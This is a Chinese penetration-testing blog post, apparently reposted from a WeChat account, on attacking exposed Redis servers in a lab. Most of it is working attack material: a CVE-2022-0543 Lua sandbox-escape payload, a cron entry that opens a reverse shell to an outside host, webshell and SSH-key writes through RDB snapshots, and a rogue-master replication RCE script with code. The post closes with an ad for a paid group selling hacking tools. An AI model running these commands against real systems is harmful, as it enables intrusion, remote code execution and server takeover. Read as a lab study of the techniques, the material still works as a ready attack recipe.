干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理
2024-1-8 22:55:54 Author: 渗透安全团队(查看原文) 阅读量:8 收藏

本文目录

redis介绍

漏洞复现
4-unacc未授权

CVE-2022-0543沙盒逃逸命令执行
渗透手法计划任务getshell

写webshell


主从复制RCE(或无损写入文件)

无损写文件的工具

主从复制RCE的原理

写shell和计划任务的原理(快照保存)

ssh公私钥免密登录

零-何为Redis

Redis是一个开源的内存数据库,它以键值对的方式存储数据。以下是关于 Redis 的主要特点和用途:内存存储,键值存储,持久性,数据结构支持。默认端口为6379。

壹-漏洞复现

一-4-unacc未授权

1.靶场搭建

可以用vulhub,但这次麋鹿自己搭的

wget http://download.redis.io/releases/redis-2.8.17.tar.gztar xzf redis-2.8.17.tar.gzcd redis-2.8.17makeredis-server redis.confredis-cli shutdown

2.漏洞介绍

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

3.影响版本

2.x,3.x,4.x,5.x

4.复现

首先漏洞产生条件上面也提到了,再叙述一遍

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

1.扫一下6379端口

2.判断漏洞是否存在

kali安装连接工具

wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gzcd redis-stablemake

info一下

3.执行命令

git clone https://github.com/vulhub/redis-rogue-getshell.gitcd redis-rogue-getshell/RedisModulesSDK/expmakecd ../.././redis-master.py -r 192.168.1.10 -p 6379 -L 192.168.1.18 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"(第一个ip为靶机,第二个为kali

手动也行

redis-cli -h 192.168.1.10> config set dir ./               > config set dbfilename exp.so    > slaveof 192.168.1.1 9999       > module load ./exp.so          > slaveof no one                 > system.exec 'whoami'            > config set dbfilename dump.rdb  > system.exec 'rm ./exp.so'       > module unload system

其实上述rec的手法为主从复制RCE,原理会在后面讲到

二-CVE-2022-0543沙盒逃逸命令执行

用的vulhub现成的

  1. 漏洞介绍

Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过eval命令在沙箱中执行Lua脚本。Debian 以及 Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

Lua 初始化的末尾添加package=nil

2.影响版本

2.2 <= redis < 5.0.132.2 <= redis < 6.0.152.2 <= redis < 6.2.5

3.复现流程

需要知道package.loadlib的路径

利用luaopen_io函数

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

叁-常见渗透手法

1.计划任务getshell

写一个每分钟的

set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.1.18/9999 0>&1\n"#每分钟一次config set dir /var/spool/cron/#设置目录config set dbfilename root  #快照名称为root,也就是写入/var/spool/cron/rootsave

一分钟就回来了

2.写webshell

config set dir /www/wwwroot/1.1.1.1/set php "\\n\\n<?php phpinfo();?>\\n\\n"config set dbfilename 1.phpsave

为了直观有点,写个phpinfo,读者在复现时可以换为一句话

访问,解析了

这里多说一句,redis创建的是 RDB 文件,写php这写文件时,文件内容里会出现一些版本信息,可能会无法解析,所以要加换行

可以很清晰的看到用上述方法写文件有一个缺点--会写入一些无关的垃圾数据,为了解决该问题,下面引出主从复制的手法

3.主从复制RCE(或者无损写入文件)

影响版本4.x  5.x,在unacc未授权里以及讲过手法,故不再赘述。

这里说一下Redis 主从复制原理

主服务器是 Redis 集群中的一个节点,负责接受客户端的写操作(SET、DEL 等),并将这些写操作记录到自己的数据集中。主服务器可以有多个客户端连接,并处理它们的请求。

从服务器是 Redis 集群中的节点,它通过与主服务器建立连接,订阅主服务器的操作日志(操作命令序列)。从服务器会将主服务器的操作记录在自己的数据集中,以保持与主服务器相同的数据状态。从服务器通常不接受写操作,而只允许只读查询。

主从复制的过程由以下步骤组成:

  • 设置从服务器

    SLAVEOF [master_ip] [master_port]

    比如   SLAVEOF 192.168.1.1 6379    启动主从复制过程

  • 数据同步

    从服务器连接到主服务器,与主Redis建立Socker长连接

    主Redis接收到PSYNC命令后,主服务器创建一个当前数据集的快照,并将其发送给从服务器

     发送SYNC PSYNC开始同步

    从服务器接收快照,并加载到自己的数据存储中。  比如set del命令。

  • 断开连接

整体过程其实就是加载一个so文件来实现getshell

简单点来讲,就是主节点的数据会被复制到一个或多个从节点。在这个过程中,从节点会接收并执行来自主节点的所有命令以保持数据同步。

4.写文件的工具

推荐一个工具--RedisWriteFile,

https://github.com/r35tart/RedisWriteFile.git

可以用于对Windows 平台下写无损 EXE。其原理是利用Redis的主从同步写数据,具体点来说就是,在Redis 主从复制环境中插入一个假的 Redis 服务器,并与真正的 Redis 服务器(通过 Remote 类表示)来进行命令交互(也就是写文件)。

再具体一点就是如下步骤

1.设置一个假的主服务器,让目标机器连接到主服务器

2.发送命令

3.进行写文件。这里是主服务器发送一个RDB文件给从服务器(目标机器),从服务器写入。

既然提到了该工具的原理,那就再聊聊主从复制RCE的原理

5.主从复制RCE的原理

为了让读者看的更直观,麋鹿把上面主从复制RCE的命令摘选出来解读一下原理,这里的前提是已经用py脚本把exp.so上传到目标redis了

忘了,应该还有一个前提--在Reids 4.x之后,Redis新增了模块功能,通过外部拓展(比如.so),从而在redis中实现一个新的Redis命令(比如system.exec)

redis-cli -h 192.168.1.10> config set dir ./               > config set dbfilename exp.so    > slaveof 192.168.1.1 9999       > module load ./exp.so           > slaveof no one                 > system.exec 'whoami'          > config set dbfilename dump.rdb > system.exec 'rm ./exp.so'      > module unload system

第一行redis-cli -h 192.168.1.10的意思一目了然--连接到目标redis(靶机)

第二行config set dir ./:    将 Redis 的数据目录设置为当前目录。这个设置快照(RDB 文件)的保存位置。

第三行 将redis快照名设置为exp.so。

第二行和第三行就是配置目标服务器的 RDB 文件路径和文件名,为了确保可以在后面的步骤中写入文件。

第四行就是前面提到的,创建一个ip为192.168.1.1 端口为9999的redis主服务器,并把当前实例(目标redis,ip为192.1681.10)设为从服务器。

五 加载当前目录下的exp.so,此时exp.so已经同步完了,192.168.1.10已经把主服务器的RDB文件(exp.so)自动复制过来了,也就是exp.so已经存在与从服务器了,所以是在192.168.1.10主机里加载。

六 slaveof no one 停止主从关系,将192.168.1.10恢复为独立的主服务器

七 用exp.so提供的system.exec执行whoami命令

八 config set dbfilename dump.rdb将 Redis 快照文件名重新设置为默认的 dump.rdb

九 删除exp.so

十 卸载system模块

整体再来走一遍,创建一个主服务器,让目标机器做为从服务器连接,发送slaveof命令以后,主服务器开始向从服务器发送之前主创建的数据库快照,从服务器收到快照以后将其加载到本地。

ok,那再回头聊一下之前是如何把exp.so上传到目标服务器的。

先看这条命令

./redis-master.py -r 192.168.1.10 -p 6379 -L 192.168.1.18 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"(第一个ip为靶机,第二个为kali

简单理解就是一个伪造数据快照的发送,实际上发送的是 exp.so 文件内容的过程,不过在讲这个过程之前,麋鹿需要先介绍一下主从之间的通讯过程。


从别的师傅文章里搬一张现成的图片,上图就是redis复制过程中的通讯情况。

第一步,PING

PING 是用来测试连接的命令。从服务器发送 PING 命令,期待得到 PONG 响应,以确认连接是活跃的。

第二步,REPLCONF listening-port 6379:

REPLCONF 是 Redis 用于设置复制配置的命令。这里,listening-port 6379 设置了复制过程中的监听端口为默认的 Redis 端口为6379。

第三步,REPLCONF capa eof capa psync2

其中 capa eof 和 capa psync2 分别是告诉主服务器,这个从服务器支持 eof(流结束)能力和 psync2 协议,这是 Redis 复制协议的一部分。

四,PSYNC ? -1

PSYNC命令用于同步主从服务器的数据。参数 ? -1 指示这是一个初始同步请求,从服务器请求全量数据复制。

这里又涉及到量复制和部分复制,限于本文已经有点臃肿,不再具体解释分别,字面意思理解即可。

五,退出。

ok,开始稍微分析一下传输exp.so过程

1.发送 PSYNCSYNC 命令,初始化数据同步完成

2.构造一个伪造的响应。这个响应模拟了一个从服务器在接收到同步命令时的正常响应,但是其中包含了 exp.so 文件的内容。

模拟正常的复制响应,发送一个 +FULLRESYNC 响应,后跟一个虚假的复制偏移量和一个空间。

3.指定exp.so文件大小并发送文件内容。

具体指令

self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)self.request.sendall(self.server.payload + DELIMITER)

上述指令对应功能

告诉主服务器需要进行全量数据同步,并提供一个虚假的复制偏移量。

指示 exp.so 文件的大小。

发送 exp.so 文件的内容。

伪造数据快照和发送exp,so对应代码如下,感兴趣的读者可以自行阅读。

class RoguoHandler(socketserver.BaseRequestHandler):    def handle(self):        while True:            data = self.request.recv(1024)            logging.info("receive data: %r", data)            arr = self.decode(data)            if arr[0].startswith(b'PING'):                self.request.sendall(b'+PONG' + DELIMITER)            elif arr[0].startswith(b'REPLCONF'):                self.request.sendall(b'+OK' + DELIMITER)            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):                # 发送伪造的 FULLRESYNC 响应                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)                # 发送 exp.so 文件大小                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)                # 发送 exp.so 文件内容                self.request.sendall(self.server.payload + DELIMITER)                break

self.finish()

算了,怕读者还不够清楚流程,再叨叨几句。

PING对应+PONG。

REPLCONF对应+OK,表示配置成功。

PSYNC和SYNC表示主服务器开始数据同步,对应如下流程

    发送一个伪造的 +FULLRESYNC 响应,后面跟随一个复制偏移量和一个文件空间大小。

    发送exp.so对应的大小。

    发送exp.so内容。

至此,改过程是不是了然于胸了?

6.写shell和计划任务的原理(快照保存)

写webshell的原理是redis快照保存,解读一下下面这些命令的意思

config set dir /www/wwwroot/1.1.1.1/set php "\\n\\n<?php phpinfo();?>\\n\\n"config set dbfilename 1.phpsave

第一行为设置Redis 服务器快照文件(RDB 文件)的目录为1.1.1.1

第二行是在 Redis 数据库中创建一个名为 php 的键,并将其值设置为 phpinfo

第三行是将 Redis 服务器的快照文件名设置为 1.php

也就是说前三行创建了一个数据快照,内容是phpinfo,并保存在/1.1.1.1/目录下的1.php里

7.ssh公私钥免密登录

ssh-keygen -t rsa(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txtcat 1.txt | redis-cli -h redis地址 -p 6379 -x set crackit
redis-cli -h 192.168.1.10 -p 6379192.168.1.10:6379> config set dir /root/.ssh/OK192.168.1.10:6379> config get dir1) "dir"2) "/root/.ssh"192.168.1.10:6379> config set dbfilename "authorized_keys"OK192.168.1.10:6379> saveOK

翻到文章最底部点击“阅读原文”下载链接


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247513817&idx=1&sn=21a7d391383e8e7fa99949de020e9a20&chksm=c072d15b93512e2991adcd1348c332b5b5c587268579f6c0c5d4ff2d0a52d9e78dc4036f695c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh